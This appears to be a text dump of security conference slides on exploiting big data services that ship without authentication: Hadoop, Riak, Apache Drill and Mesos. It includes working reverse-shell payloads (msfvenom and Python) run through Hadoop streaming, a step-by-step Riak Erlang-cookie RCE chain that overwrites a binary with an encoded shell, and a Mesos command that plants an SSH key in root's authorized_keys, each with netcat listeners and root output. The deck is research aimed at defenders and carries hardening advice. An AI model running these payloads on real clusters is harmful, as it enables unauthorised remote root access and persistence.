  • 34. Hadoop ● Authentication? Be who you want to be * ○ Remote command execution ○ Did it fail? ■ $ hdfs dfs -cat hdfs://172.17.0.3:9000/tmp/out/part-00000 ● uid=0(root) gid=0(root) groups=0(root)
  • 35. Hadoop ● Ok but shell, right? ○ $ msfvenom -p linux/x64/shell/reverse_tcp LHOST=172.17.0.2 LPORT=5555 -f elf -o shell.out ○ $ hadoop jar hadoop-streaming.jar -fs 172.17.0.3:9000 -jt 172.17.0.3:8032 -input /test/123 -output /tmp/out -file shell.out - mapper "./shell.out" -reducer NONE -background ● For some reason this wasn’t working ○ Would get a connect back, but no shell :’(
  • 36. Hadoop ● Ok but shell, right? ○ $ hadoop jar hadoop-streaming.jar -fs 172.17.0.3:9000 -jt 172.17.0.3:8032 -input /test/123 -output /tmp/out -mapper "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREA M);s.connect(("172.17.0.2",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'" -reducer NONE -background
  • 37. Hadoop ● Ok but shell, right? ○ $ while true; do nc -v -l -p 5555; done ■ listening on [any] 5555 ... ■ connect to [172.17.0.2] from (UNKNOWN) [172.17.0.3] 51740 ■ <64253_0025/container_1604081764253_0025_01_000002# id ● uid=0(root) gid=0(root) groups=0(root) ■ <64253_0025/container_1604081764253_0025_01_000002# pwd ● /tmp/hadoop-root/nm-local- dir/usercache/root/appcache/application_1604081764253_0025/co ntainer_1604081764253_0025_01_000002
  • 38. Hadoop ● So, turn security ON?
  • 39. Apache Knox and Ranger ● TLDR; ○ Knox = authentication ○ Ranger = authorization References https://docs.cloudera.com/runtime/7.2.0/knox-authentication/topics/security-knox-securing-access-hadoop-clusters-apache-knox.html https://ranger.apache.org/
  • 40. Apache Knox and Ranger Image Credit https://medium.com/@takkarharsh/authorization-of-services-using-knox-ranger-and-ldap-on-hadoop-cluster-35843a9e6cdb
  • 41. Hadoop ● So make sure to keep it inside the local network ○ NOT internet facing for any rea….. References https://www.shodan.io/search?query=Hadoop+IPC+port
  • 42. Riak ● Riak KV ○ NoSQL key-value database ● Default install ○ riak start ■ Listens on 0.0.0.0:[high port] with “cookie” auth ○ HTTP service on localhost:8098 ■ Read and even PUT data, call /mapred, etc ○ Other services which may be interesting References https://riak.com/products/riak-kv/index.html
  • 43. Riak ● Locally browse the filesystem as the riak running user ○ $ riak admin describe test ■ Invalid config keys: test ○ $ riak admin describe * ■ Invalid config keys: Desktop Documents Downloads Music Pictures Public Templates Videos ○ $ riak admin describe /var/* ■ Invalid config keys: /var/backups /var/cache /var/crash /var/lib /var/local /var/lock /var/log /var/mail /var/metrics /var/opt /var/run /var/snap /var/spool /var/tmp /var/www
  • 44. Riak ● Step 1: get cookie ○ $ ps -aux | grep cookie ■ /opt/riak/rel/riak/bin/riak -scl false -sfwi 500 -P 256000 -e 256000 -Q 262144 -A 64 -K true -W w -Bi -zdbbl 32768 ... -config ./releases/3.0/sys.config -setcookie riak ● Step 2: local command execution ○ test@ubuntu:~$ erl -name test@localhost -setcookie riak -remsh riak@127.0.0.1 ■ (riak@127.0.0.1)1> os:cmd("id;pwd"). ● "uid=1000(user) gid=1000(user) groups=1000(user)n/opt/riak/rel/riakn" References https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • 45. Riak ● Remote command execution? ○ (configure node name and update /etc/hosts on attacking terminal for hostname resolution) ○ $ erl -name test@ubuntu.test -setcookie riak -remsh riak@ubuntu.test ■ (riak@ubuntu.test)1> os:cmd("id;pwd"). ■ *** ERROR: Shell process terminated! (^G to start new job) ***
  • 46. Riak ● WHAT IF instead of trying to use erl directly ○ We just set up another riak node with the same default cookie ● BINGO’ish ○ $ riak eval "rpc:call('riak@ubuntu.test', os, cmd, [id])." ■ "uid=1000(user) gid=1000(user) groups=1000(user)n" ○ $ riak eval "rpc:call('riak@ubuntu.test', os, cmd, [“id;pwd”])." ■ escript: exception error: no match of right hand side value ● Doesn’t like spaces, special characters, other syntax, etc
  • 47. Riak ● Tried a few other things ○ Other process spawning things ■ $ riak eval "erlang:spawn('riak@ubuntu.test', os, cmd, ["id"])." ● <9718.14141.56> ● (running exec-notify on the other box) ○ pid=3874367 executed [id ] ○ Read files and list dirs, but only in the current directory ■ riak eval "rpc:call('riak@ubuntu.test', file, read_file, ["test"])." ■ riak eval "rpc:call('riak@ubuntu.test', file, list_dir, ["log"])." ● {ok,["console.log","crash.log.0",...]}
  • 48. Riak ● More digging through http://erlang.org/doc/man/ ○ (over)write files in current directory ■ riak eval "rpc:call('riak@ubuntu.test', file, write_file, ["test123", []])." ○ Change the current working directory (up only) ■ riak eval "rpc:call('riak@ubuntu.test', file, set_cwd, ["etc"])." ■ riak eval "rpc:call('riak@ubuntu.test', os, cmd, ["ls"])." ● "advanced.configndatanlognriak.confn" ○ file:delete_d_r, file:make_symlink, heart:set_cmd, os:putenv, etc ■ Most either have character restrictions or failed otherwise
  • 49. Riak ● Get a reverse shell with a single command? ○ Only run one command with no args ○ No specifying paths, executable must be in local PATH
  • 50. Riak ● Exploit chain for RCE ○ 1. Find a useful PATH that we can pivot up into ■ rpc:call('riak@ubuntu.test', os, cmd, ["env"]). ● "...nPATH=/opt/riak/rel/riak/erts- 10.6.4/bin:/opt/riak/rel/riak/bin:/opt/riak/.local/bin:/usr/l ocal/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/g ames:/usr/local/games ○ Check our current path ■ rpc:call('riak@ubuntu.test', os, cmd, ["pwd"]). ● "/opt/riak/rel/riakn"
  • 51. Riak ● Exploit chain for RCE ○ 2. Change into the bin folder which is in our PATH ■ rpc:call('riak@ubuntu.test', file, set_cwd, ["bin"]). ○ 3. Find an executable in bin that “we won’t miss” ■ rpc:call('riak@ubuntu.test', os, cmd, ["ls"]). ■ "cf_configncuttlefishndatanhooksninstall_upgrade.escriptnlog nnodetool...
  • 52. Riak ● Exploit chain for RCE ○ 4. Craft our payload and overwrite the executable file ■ (perhaps call copy on the executable beforehand and save the original) ■ Passing “id” to file:write_file results in {error,badarg} ■ rpc:call('riak@ubuntu.test', file, write_file, ["cf_config", [105,100]]). ○ Verify the file (for good measure) ■ rpc:call('riak@ubuntu.test', file, read_file, ["cf_config"]). ● {ok,<<"id">>}
  • 53. Riak ● Exploit chain for RCE ○ Writing file data in Erlang bytecode is.. “fun” ■ Wrote estr2bc.py to map strings to bytecode ■ So let’s skip executing commands and go straight to shell References https://elixirforum.com/t/how-to-get-the-binary-representation-of-a-module/18006/3 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
  • 54. Riak ● Exploit chain for RCE ○ Modify a payloads-all-the-things reverse shell ■ estr2bc.py "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_S TREAM);s.connect(("10.0.0.100",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'" ● [112,121,116,104,111,110,32,45,99,32,39,105,109,112,111,114,1 16,32,115,111,99,107,101,116,44,115,117,98,112,114,111,99,101 ,115,115,44,111,115,59,115,61,115,111,99,107,101,116,...] References estr2bc.py should be available on Packetstorm
  • 55. Riak ● Exploit chain for RCE ○ 5. Start our listener for the shell and execute the payload ■ rpc:call('riak@ubuntu.test', os, cmd, ["cf_config"]). ■ [test@localhost ~]$ nc -l -p 5555 ■ ... ● user@ubuntu:~/opt/riak/rel/riak/bin$ id ● uid=1000(user) gid=1000(user) groups=1000(user)
  • 56. Riak ● Recap for shell from a single command + navigating paths + calling functions ○ Execute env for PATH ○ Call set_cwd to bin in PATH ○ Select executable file in bin to overwrite ○ Generate bytecode payload and replace executable ○ Run the new executable
  • 57. Riak ● Change those default cookies ○ You only want all of your nodes to communicate References ../etc/riak.conf
  • 60. Apache Drill ● Schema-free SQL query engine ● Web interface on port 8049 ○ Embedded mode or Distributed mode ○ Anonymous access by default ○ Can run queries and create plugins (!) Image Credit https://www.slideshare.net/Hadoop_Summit/understanding-the-value-and-architecture-of-apache-drill
  • 62. Apache Drill ● Create ○ Name: read ○ Config: reuse the dfs plugin, modify it to let us can read/write anywhere
  • 63. Apache Drill ● Now we can… ○ Read files
  • 64. Apache Drill ● Now we can… ○ Write files (as in copy)
  • 65. Apache Drill ● Query logs Reference http://drill-server:8047/profiles
  • 66. Apache Drill ● Tons of security docs for distributed mode ○ Not so much for Embedded mode, which is much easier to setup and run ○ Wonder which mode lots of users are going to choose… ● Enable PAM for authentication in conf/drill-override.conf ○ Then pass the -n <local user> -p <password> CLI params :’) Reference https://drill.apache.org/docs/using-libpam4j-as-the-pam-authenticator/
  • 67. Apache Mesos ● Cluster compute manager and orchestration ○ Sort of like Kubernetes, but different ● Needs like 8gb ram minimum to compile ○ And it’s not even Java code :’) ● Listens on port 5050 ○ Localhost or network interface ● Authentication as usual is disabled by default
  • 68. Apache Mesos ● So… you ask mesos master to do stuff, and it asks the agents to just do it? Reference http://mesos.apache.org/documentation/latest/architecture/
  • 69. Apache Mesos ● mesos-execute ○ --task_group=file://task.json
  • 70. Apache Mesos ● So literally throw that example in a JSON file ○ Change command value to whatever you like ○ Run it ■ $ LIBPROCESS_IP=10.0.0.2 mesos-execute --master=10.0.0.2:5050 -- task_group=file://task.json ○ Profit ● Or there’s a better way ○ $ mesos-execute --master=10.0.0.2:5050 --name=“test” -- command=”<insert payload here>”
  • 71. Apache Mesos ● Agent will try to run commands as the actual user running mesos-execute ○ If you’re root on your box, and the agent is running as root, commands will run as such ■ So if you want remote root on the agent, you better have root on the attacking box :’) ○ If you’re logged in as notvalid (a user that doesn’t exist on the agent), then pound sand ■ Received status update TASK_DROPPED for task 'test' ■ message: 'Failed to create executor directory '/opt/mesos/slaves/d951a83c-37be-4212-b9b8-9241c618b272- S2840/frameworks/87333254-8ae1-4ad4-8ed5-caf83511b46c- 0009/executors/test/runs/dc91b882-99f0-43af-b74a-20ed15d7182c': Failed to chown directory to 'notvalid': No such user 'notvalid'' ■ source: SOURCE_AGENT ■ reason: REASON_EXECUTOR_TERMINATED
  • 72. Apache Mesos ● Demo ○ # mesos-execute --master=10.0.0.2:5050 --name="test" --command="echo <b64 encoded public key> | base64 -d >> /root/.ssh/authorized_keys" ■ Subscribed with ID 87333254-8ae1-4ad4-8ed5-caf83511b46c-0046 ■ Submitted task 'test' to agent 'd951a83c-37be-4212-b9b8-9241c618b272-S2840' ■ Received status update TASK_STARTING for task 'test' ■ source: SOURCE_EXECUTOR ■ Received status update TASK_RUNNING for task 'test' ■ source: SOURCE_EXECUTOR ■ Received status update TASK_FINISHED for task 'test' ■ message: 'Command exited with status 0'
  • 73. Apache Mesos ● Demo ○ $ ssh root@10.0.0.2 ■ [root@mesos ~]# id ● uid=0(root) gid=0(root) groups=0(root)
  • 76. Apache Kudu ● kudu-master RPC listening on port 7051 ○ Written in C++, so fuzz++ ● Let’s go ○ $ bin/kudu-master --fs_wal_dir=/tmp/master --logtostderr … ○ $ tcpdump -i lo -X port 7051 -w kudu.pcap ○ $ bin/kudu master <pick a cmd so we can capture a session> ● Pass the session pcap to mutiny fuzzer ○ $ ./mutiny_prep.py kudu.pcap ○ $ ./mutiny.py kudu.fuzzer localhost References/Image Credit https://kudu.apache.org/ https://github.com/Cisco-Talos/mutiny-fuzzer https://netbsd.org/~kamil/fuzzer_art/krolik.png
  • 77. Apache Kudu ● Success? ○ Nothing reproducible :’( 1019 00:02:13.193902 (+ 4334us) negotiation.cc:304] Negotiation complete: Invalid argument: Server connection negotiation failed: server connection from 127.0.0.1:37686: connection must begin with magic number: hrpc Metrics: {"server-negotiator.queue_time_us":32} @ 0x561412351c3b kudu::tablet::Tablet::GetBytesInAncientDeletedRowsets() @ 0x56141236f074 kudu::tablet::DeletedRowsetGCOp::UpdateStats() ... Aborted (core dumped)
  • 78. Apache Kudu ● Always good to have process/fs monitoring running while fuzzing ● execsnoop or exec-notify, opensnoop, strace ○ Only prereq is that you have root on the box you’re testing ○ Exercise the app’s functions via fuzzing or manual execution ○ See if there are any tainted inputs that you’re triggering, check for various injections ● strace example ○ sudo strace -f -s 4096 -e trace=process,open,read,write,access -p <pid> 2>&1 | grep -v “stuff to ignore” References https://raw.githubusercontent.com/Symbiograph/linux-sensation/master/exec-notify.c https://github.com/brendangregg/perf-tools
  • 79. Apache Sqoop ● Lots of exceptions and eventual DoS while fuzzing the metadata service ○ Replaying several thousand “list” requests References https://sqoop.apache.org
  • 80. RabbitMQ ● Default cookie security is actually OK ○ $ rabbitmqctl -n rabbit@ubuntu.test status ○ ... ■ rabbit@ubuntu.test: ■ * connected to epmd (port 4369) on ubuntu.test ■ * epmd reports node 'rabbit' running on port 25672 ■ * TCP connection succeeded but Erlang distribution failed ■ * suggestion: hostname mismatch? ■ * suggestion: is the cookie set correctly? References https://www.rabbitmq.com/clustering.html#erlang-cookie
  • 81. Summary ● Unauth’d services that can provide… ○ RCE or local shell ■ Hadoop ■ Riak ■ Mesos ○ Arbitrary file reads/writes, privilege escalation ■ Cassandra ■ Cassandra Web ■ Drill
  • 83. Conclusion ● Solid authentication by default isn’t the norm in big data ○ Often tedious to setup or just not well integrated with the product ● Hopefully newer projects will do better ○ Make security always on, hard to disable and meaningful to the user ○ If it gets in the way, people will just turn it off.. and how can you blame them? Great resource to learn and explore more https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures
  • 84. Conclusion ● For attackers ○ LOTS of options ○ Gaining access can mean one host or thousands ● For defenders ○ LOTS of work to do ○ Need to ensure configs are solid, network access is restricted, etc Great resource to learn and explore more https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures
  • 85. Conclusion We fixed all the critical static analysis bugs ○ ...the design review was thorough ○ ...all the ACLs and configs are good ○ ...updated all the software packages ○ ...and we fuzzed all the things But... did you actually test it?